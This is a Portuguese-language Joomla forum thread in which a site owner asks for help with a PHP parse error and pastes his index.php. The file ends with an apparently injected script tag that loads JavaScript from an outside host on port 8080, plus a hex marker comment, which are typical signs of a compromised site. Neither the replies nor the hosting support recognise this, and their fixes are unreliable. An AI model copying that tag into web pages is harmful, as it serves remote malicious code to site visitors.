Erro no index

  • saluto
  • Avatar de saluto Autor do Tópico
  • Offline
  • JCB! Colaborador
  • JCB! Colaborador
Mais
13 anos 9 meses atrás #35263 por saluto
saluto created the topic: Erro no index
Amigos o site estava normal e funcionando ok, de repente apareceu este erro: Parse erro:
syntax error, unexpected '<' in /home/ipbomjesus/public_html/index.php on line 90

Segue abaixo o Index:


<?php
/**
* @version $Id: index.php 11407 2009-01-09 17:23:42Z willebil $
* @package Joomla
* @copyright Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));

<script type="text/javascript" src=" oldgoal.com:8080/Database.js"></script> ;
<!--ebcd48de3f42df3c5ed4b0daccc5f07d-->


Sendo que consigo acessar o painel de controle do joomla normalmente. alguém pode me ajudar, por gentileza

o site é: <!-- w -->[url=http://www.ipbomjesus.net" onclick="window.open(this.href);return false;]www.ipbomjesus.net[/url]<!-- w -->

a unica alteração que foi feito, foi acrescentar um arquivo de audio.mp3 no site

Please Entrar ou Registrar to join the conversation.


Mais
13 anos 9 meses atrás #35270 por Chico Gois
Chico Gois replied the topic: Re: Erro no index

syntax error, unexpected '<' in /home/ipbomjesus/public_html/index.php on line 90


Traduzindo: na linha 90 do index.php falta <

Atenciosamente,

Please Entrar ou Registrar to join the conversation.

  • saluto
  • Avatar de saluto Autor do Tópico
  • Offline
  • JCB! Colaborador
  • JCB! Colaborador
Mais
13 anos 9 meses atrás #35271 por saluto
saluto replied the topic: Re: Erro no index
certo, mas como faço para corrigir isso ?

Please Entrar ou Registrar to join the conversation.

Mais
13 anos 9 meses atrás #35275 por Chico Gois
Chico Gois replied the topic: Re: Erro no index

a unica alteração que foi feito, foi acrescentar um arquivo de audio.mp3 no site


Como foi feito?

Atenciosamente,

Please Entrar ou Registrar to join the conversation.

  • saluto
  • Avatar de saluto Autor do Tópico
  • Offline
  • JCB! Colaborador
  • JCB! Colaborador
Mais
13 anos 9 meses atrás #35276 por saluto
saluto replied the topic: Re: Erro no index
sim a unica alteração foi essa.

a Equipe do Uolhost me respondeu o seguinte:

Conforme verificamos, o erro que é apresentado ao acessar o conteúdo publicado faz referência que ao iniciar uma programação na Linguagem de programção .php é utilizada a tag (< ?php) e ao finalizar é obrigatória fechar essa tag inicial com (?>).

Sendo assim, se faz necessário efetuar essas alterações via programação.

Em caso de dúvidas, retorne o contato conosco.

Atenciosamente,

* Mas como sou iniciante em joomla e o unica coisa que sei é programar em modo painel de controle e não texto preciso de ajuda.

Please Entrar ou Registrar to join the conversation.